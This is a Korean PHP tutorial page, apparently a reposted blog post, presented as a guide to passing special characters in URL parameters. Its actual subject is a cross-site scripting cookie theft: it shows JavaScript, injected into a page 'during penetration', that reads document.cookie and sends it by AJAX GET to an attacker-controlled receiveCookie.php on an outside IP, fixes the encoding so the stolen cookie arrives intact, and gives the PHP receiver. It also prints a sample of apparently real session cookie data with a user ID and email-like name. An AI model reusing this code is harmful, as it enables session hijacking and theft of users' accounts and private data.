>  기사  >  백엔드 개발  >  PHP에서 특수문자가 포함된 매개변수를 제출하는 방법

PHP에서 특수문자가 포함된 매개변수를 제출하는 방법

WBOY
WBOY원래의
2016-07-29 09:09:061289검색

침투 과정에서 JS 코드를 웹 페이지에 삽입하여 쿠키를 얻을 수 있습니다. 🎜>document.cookie

그러면 획득한 쿠키를 어떻게 우리의 쿠키로 전송합니까? 섬기는 사람?

여기에서는 AJAX 기술을 사용하고 있습니다. 다만 Ajax는 cross domain 문제가 있어서 http 헤더에 다시 설정해 주어야 합니다. 여기서는 주로 쿠키 제출에 대해 이야기합니다.

먼저 섹션을 살펴보겠습니다JS코드:

xmlhttp.open(" GET", "http://192.168.17.63/HelloPhp/receiveCookie.php?cookie="+document.cookie,true);

여기서 웹페이지에서 얻은 쿠키receiveCookie.php에 제출되는데, 여기서 쿠키 일부 내용은 다음과 같습니다.

ULV=1450275143055:1:1:1:182.138.174.191_1450275139.121259:;SGUID=1450275146558_359 57829; -37098b091.151ab228f90.0.920dc7c7;vjlast=1450275148;SUP=cv=1&bt=1450275168&et=1450361568&d=40c3&i=2611&us=1&vf=0&vt=0&ac=2&st=0<=1 &uid=2277147785&user=49335 4115%40qq.com&ag=4&name=493354115 %40qq.com&nick=% E7%BB%BF%E8%8C%B66888&sex=1&ps=0&email=&dob=&ln=493354115%40qq.com&os=&fmp=&lcp=;SUBP=0033WrSXqPxfM725Ws9jqgMF55529P9D9W5o5Vidv35 CH47We9hTzl.1 ; ALF=1481811169;

제출 중에 "%", "&" 등과 같은 특수 문자가 나타나면, 자동으로 구문 분석되어 매개변수 전달 시 오류가 발생합니다.

해결책은 다음과 같습니다.

var cookie = document.cookie;

cookie = escape(encodeURIComponent(cookie) ) ;

xmlhttp.open("GET","http://192.168.17.63/HelloPhp/receiveCookie.php?cookie="+cookie,true);

수신Cookie.php 수신:

$cookie = $_GET[ "쿠키"];

$cookie = (urldecode($cookie));

위 내용은 관련 내용을 포함하여 PHP에서 특수문자가 포함된 매개변수를 제출하는 방법을 소개한 내용입니다. PHP 튜토리얼에 관심이 있는 친구들에게 도움이 되길 바랍니다.

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.